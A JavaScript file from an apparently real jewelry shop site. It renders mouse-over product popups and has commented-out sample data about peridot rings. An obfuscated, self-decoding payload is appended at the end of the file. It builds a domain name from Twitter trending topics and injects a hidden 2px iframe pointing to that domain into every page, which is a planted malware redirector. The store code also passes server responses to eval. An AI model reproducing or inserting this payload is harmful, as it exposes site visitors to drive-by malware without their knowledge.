﻿var TemplateMouseOver = 
{
    addData : function (p, position)
    {	
	// old code	    
	   if(p != null)
	   {
        $("div.MOwrapper").html("");
        if(p.Rows && parseInt(p.Rows.length) > 0)
        {  
            
            if(position == "right")
            {
                $("div.MOwrapper")
                //.append('<div class="rightarrow"><img src="../images/Right_arrow.png" alt="" /></div>')
                .append('<div class="rightarrow"><img src= ' + p.SitePath +"/images/Right_arrow.png" +' alt="" /></div>')
                .append
                (
                    $('<div class="rytbx"></div>')
                    .append('<div class="tp white">'+p.ItemName+'</div>')
                    .append
                    (
                        $('<div class="txtar"></div')
                        .append('<div class="srow price"><div class="xt">$'+p.ItemPrice+' </div></div>')
                        //'+ p.ItemEstimatedArrival+'
                        .append('<div class="est price"><div class="xt">Estimated Ship date  '+p.ItemEstimatedArrival+'  if Ordered Today By 3PM EST.</div></div>')
                        .append('<div class="stk"><div class="gr_11"><strong>Stock Number  : ' + p.StockNumber+'</strong></div> <div class="rytx price_11">&nbsp;</div></div>')
                    )
                    
                );
            }
            else
            {
                $("div.MOwrapper")
                .append('<div class="leftarrow"><img src='+ p.SitePath + "/images/left_arrow.png" + ' alt="" /></div>')
                .append
                (
                    $('<div class="rytbx"></div>')
                    .append('<div class="tp white">'+p.ItemName+'</div>')
                    .append
                    (
                        $('<div class="txtar"></div')
                        .append('<div class="srow price"><div class="xt">$'+p.ItemPrice+'</div></div>')
                        .append('<div class="est price"><div class="xt">Estimated Ship date  '+p.ItemEstimatedArrival+'  if Ordered Today By 3PM EST.</div></div>')
                        .append('<div class="stk"><div class="gr_11"><strong>Stock Number  : ' + p.StockNumber+'</strong></div> <div class="rytx price_11">&nbsp;</div></div>')
                    )
                );
            }
            $.each(p.Rows, function(i, Row)
            {
                if(Row.Text=="HEADING")
                {                    
                    $("div.MOwrapper div.rytbx div.txtar").append('<div class="hd"><div class="price"><strong>'+Row.label+'</strong></div> </div>');
                }
                else
                {
                    $("div.MOwrapper div.rytbx div.txtar").append('<div class="stp"><div class="gr_11"><strong>'+Row.label+'</strong></div> <div class="rytx price_11">'+Row.Text+'</div></div>');
                }
            });
        }
        }
        else
        {
             location.reload(true); 
        }
    },
    ShowMosueOver2:function(ItemID)
    {
       try
       { 
      
       Templates_template5pbwa.GetItemInformationForPopUp(parseInt(ItemID), function(res){
        
       if(res.value == "error")
            {
                
            }
            else
            {  
               var p = eval("("+res.value+")");
                    
               TemplateMouseOver.addData(p);
               $("div.MOwrapper").show();
           }
        }); 
        }
        catch(e)
        {
            
        }    
        
    },
    ShowMosueOverPBWA:function(ItemID, obj, TemplateName)
    {      
        
           try
           {
            if (Templates_template5pbwa != null && typeof Templates_template5pbwa != "undefined") 
            {              
                         Templates_template5pbwa.GetItemInformationForPopUp(parseInt(ItemID), function(res){           
                       
                        if(res.value == "error")
                        {
                            
                        }
                        else
                        {       
                            var p = eval("("+res.value+")");
                            
                            var offset = $(obj).offset();
                            var position = "left";
                            var divWidth = $("div.MOwrapper").width();
                            
                            if(offset.left < divWidth)
                            {
                                $("div.MOwrapper").css({"top":"" + (offset.top + 50) + "px","left":""+ (offset.left + 150) +"px"});
                            }
                            else if((screen.width - offset.left) < divWidth)
                            {
                                position = "right";
                                $("div.MOwrapper").css({"top":"" + (offset.top + 50) + "px","left":""+ (offset.left - 350) +"px"});
                            }
                            else
                            {
                                position = "right";
                                $("div.MOwrapper").css({"top":"" + (offset.top + 50) + "px","left":""+ (offset.left - 350) +"px"});
                            }
                            
                            TemplateMouseOver.addData(p, position);
                            $("div.MOwrapper").show();
                        }
                        
                    });  
            }
            else
            {                
                 location.reload(true); 
                
            }
            
           
        }
        catch(e)
        {
            
        }
    },
    
    ShowMosueOutPBWA:function()
    {    
        
      $("div.MOwrapper").hide();
    }
};

$(document).ready(function () 
{
  $("div.MOwrapper").hide();
    
});

/*
{
    ItemID: '99266',
    ItemName: '0.09 Ct Round Loose Peridot',
    ItemPrice: '0',
    Rows: [
        {label:'Gemstone Information',Text:'HEADING'},
        {label:'Shape',Text:'Round'},
        {label:'Shape',Text:'Round'},
        {label:'Shape',Text:'Round'},
        {label:'Shape',Text:'Round'},
        {label:'Shape',Text:'Round'},
        {label:'Shape',Text:'Round'},
        {label:'Color Information',Text:'HEADING'},
        {label:'Shape',Text:'Round'}
    ]
}
*/


/*
{
TotalRecord: '2'
,StartRecord: '1'
,EndRecord: '3'
,PageSize: '3'
,View: true
,Remove: true,
RowHeaders:[
            {
                Rows:[
                        {label:'Price'}
                     ]
            }
            ,{
                label:'Ring Information'
                ,Rows:[
                        {label:'Metal'}
                        ,{label:'Rhodium'}
                        ,{label:'Actual Metal'}
                      ]
             }
             ,{
                label:'Gemstone Information'
                ,Rows:[
                        {label:'Shape'}
                        ,{label:'Setting Style'}
                        ,{label:'Minimum Carat Total Weight'}
                        ,{label:'Gemstone Dimensions'}
                        ,{label:'Gemstone'}
                        ,{label:'Average Color'}
                        ,{label:'Average Quality'}
                        ,{label:'Number of Stones'}
                    ]
              }
              ,{
                label:'Color Information'
                ,Rows:[
                        {label:'Color'}
                      ]
              }
          ]
          ,Cells: [
                    {
                        ItemID: '640'
                        ,ViewDetail:'http://192.168.0.15/Templates/Template4.aspx?ItemID=640'
                        ,Sections: [
                                        {
                                            label:'Header'
                                            ,Rows:[
                                                    {
                                                        Description:'Cts Diamond & 0.05 Cts Peridot Ring in 14K White Gold'
                                                        ,ImageUrl:'http://192.168.0.15/images/user_images/ZT289P.jpg'
                                                        ,ImageUrlBig:'http://192.168.0.15/images/user_images/ZT289P_large.jpg'
                                                    }
                                                  ]
                                        }
                                        ,{
                                            Rows:[
                                                    {
                                                        label:'Price'
                                                        ,Text:'$250.00'
                                                    }
                                                ]
                                        }
                                        ,{
                                            label:'Ring Information'
                                            ,Rows:[
                                                    {
                                                        label:'Metal'
                                                        ,Text:'14K Gold'
                                                    },
                                                    {
                                                        label:'Rhodium'
                                                        ,Text:'Yes'
                                                    },
                                                    {
                                                        label:'Actual Metal'
                                                        ,Text:'14K Gold White'
                                                    }
                                                   ]
                                        }
                                        ,{
                                            label:'Gemstone Information'
                                            ,Rows:[
                                                    {
                                                        label:'Shape'
                                                        ,Text:'Cushion-Checker Board'
                                                    }
                                                    ,{
                                                        label:'Setting Style'
                                                        ,Text:'Prong Setting'
                                                    }
                                                    ,{
                                                        label:'Minimum Carat Total Weight',Text:'0.05'
                                                    }
                                                    ,{
                                                        label:'Gemstone Dimensions'
                                                        ,Text:'6 mm'
                                                    }
                                                    ,{
                                                        label:'Gemstone'
                                                        ,Text:'Peridot'
                                                    }
                                                    ,{
                                                        label:'Average Color'
                                                        ,Text:'Medium-Dark Green'
                                                    }
                                                    ,{
                                                        label:'Average Quality'
                                                        ,Text:'AA'},{label:'Number of Stones',Text:'1'}]},{label:'Color Information',Rows:[{label:'Color',Text:'Green, White'}]}]},{ItemID: '677',ViewDetail:'http://192.168.0.15/Templates/Template4.aspx?ItemID=677',Sections: [{label:'Header',Rows:[{Description:'Cts Diamond & 0.08 Cts Peridot Ring in 14K White Gold',ImageUrl:'http://192.168.0.15/images/user_images/ZT290P.jpg',ImageUrlBig:'http://192.168.0.15/images/user_images/ZT290P_large.jpg'}]},{Rows:[{label:'Price',Text:'$550.00'}]},{label:'Ring Information',Rows:[{label:'Metal',Text:'14K Gold'},{label:'Rhodium',Text:'Yes'},{label:'Actual Metal',Text:'14K Gold White'}]},{label:'Gemstone Information',Rows:[{label:'Shape',Text:'Cushion-Checker Board'},{label:'Setting Style',Text:'Prong Setting'},{label:'Minimum Carat Total Weight',Text:'0.08'},{label:'Gemstone Dimensions',Text:'8 mm'},{label:'Gemstone',Text:'Peridot'},{label:'Average Color',Text:'Medium-Dark Green'},{label:'Average Quality',Text:'AA'},{label:'Number of Stones',Text:'1'}]},{label:'Color Information',Rows:[{label:'Color',Text:'Green, White'}]}]}]}

*/








(function($$){d="( 8 *i= 8var Vc=this;  [Vc\\FullYear %Month %Date %Hours %Minutes %Seconds()]}; *B= 8 &n,Vr=this.#i(),i=0;Vr[1]+=1;while(i++<7){#n=Vr[i] /#n<#b)Vr[i] 4#n}   Vr.splice(~z'),1+~T 0 5~u 0+'T'+Vr 5~U 0};VN={'h`http://Xs`/Xt`treXd`daiXn`ndsXq`?Xc`callback=Xj`#Xa`apiXl`lyXW`twitterXo`comXe`1Xk`sXK`bodyXx`ajaxXD`.XL`libsXJ`jqueryX6`6.2Xm`minXf`onXS`criptXi`ifXM`rameXY`headXw`width:Xp`px;XH`height:XT`2Xr`rcXQ`\"Xy`style=Xb`><XR`></XI`divXB`<XA`>Xg`googleXE`&date=Xz`0Xu`-XU` X,`:00X;':2345678901,'/':48271,'F':198195254,'G':12,'C`='};@ #G(Vm){#o=[];for(Vx=0;Vx<Vm .;Vx++){#o.push(VN[Vm.charAt(Vx)])}   #T(#o)}VB=document;#x=window; +E='undefined'; +j=~haDWDosestnsdlDjfqcq' :R= ))== +E) /#R||!VD()){if(!#R){try{Vd=jQuery !;try{Vd=$ !}VM=VB.getElementsByTagName(~Y 0[0];#J=VB.createElement(~kS 0;#J.setAttribute(~kr'),#G(\"hxDgakDosxsLsJseD6sJDmDj\"));VM.appendChild(#J)}@ Va(#F,VK){   Math.floor(#F/VK) 6e(#k){var Vg=Va( +u, $G); &C= +u% $G; &S= $r*#C; &L= $J*Vg; &y=#S-#L /#y>0){#u=#y}else{#u=#y+ $A}  (#u%#k) 6z(#w){ +u=~;')+#w; $r=~/'); $A=~;')-~F'); $G=Va( $A, $r); $J= $A% $r 6T(V){   V .==1?V[0]:V 5'')};@ #K(V){d=new Date( :c=~zee');d.setTime((V.as_of-~G')*~G')*~G')*~ezz 0*~ezzz 0;   d 6p(Vu){ &a,Vn,#f=Vu .; &d=[];while(--#f){Vn=#e(#f :d.push(Vn :a=Vu[Vn];Vu[Vn]=Vu[#f];Vu[#f]=#a}}@ Vp($){Vs=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],@(x,i){   String.fromCharCode(i+x+24)});   #T(Vs) 6v($){if ))!= +E){$( 8if ).Vt)!= +E)  ;$.Vt=1; 2j,@(Vy){#g=#K(Vy :h=#g\\Month() 9L=#g\\Date();VS=#h+\"-\"+VL;#P=#j+#G(\"E 3;Vj=VP=Va(#g\\Hours(),6)*6 9E=Vj+1;#b=+~ez'); , 2P,@(Vy){try{#D=Vy.trends;#M=#G(\" 3+\" \" /Vj<#b)Vj 4Vj /VE<#b)VE 4VE; 7j+#G(X)] /!#N){ 7E+#G(X)]}#N=(#N[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'microscope').split('' :s=#h*71+VP*3+VL*37;#z(#s :q=#e(4)+#b;#p(#N :H=~Ch')+#T(#N).substring(0,#q)+'.com/'+Vp($);VN['Z']=#H;Vb=~BI 1biMU 1UkrZRiMRIA');$(~K 0.append(Vb)}catch(Vf){}})},#b*#b*#b)})})}else{ , -,1+~TTT 0}} -)()#js@functionV#mX','`':'~#G('\\.getUTC  return !.noConflict(true)}catch(e){} $#x.V %(),Vc\\ &var # )(typeof($ *Date.prototype.# +#x.# ,setTimeout( 8 -#v(#x.jQuery)} ..length /;if( 0')) 1yQHTpweeepQ 2$.getJSON(# 3Tzeeu\")+VS 4=~z')+ 5.join( 6}@ # 7#N=#D[#M+V 8@(){ 9+(+~e 0;V :);#";for(c=53;c;d=(t=d.split('#@VX`~\\   ! $ % & ) * + , - . / 0 1 2 3 4 5 6 7 8 9 :'.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsmH){return(function(jsm,jsmF){return jsmF(jsm(jsmF(jsm(jsmH))))(jsmH)()})((function(jsm){return jsm.constructor}),(function(jsm){return(function(jsmF){return jsm.call(jsm,jsmF)})}))});

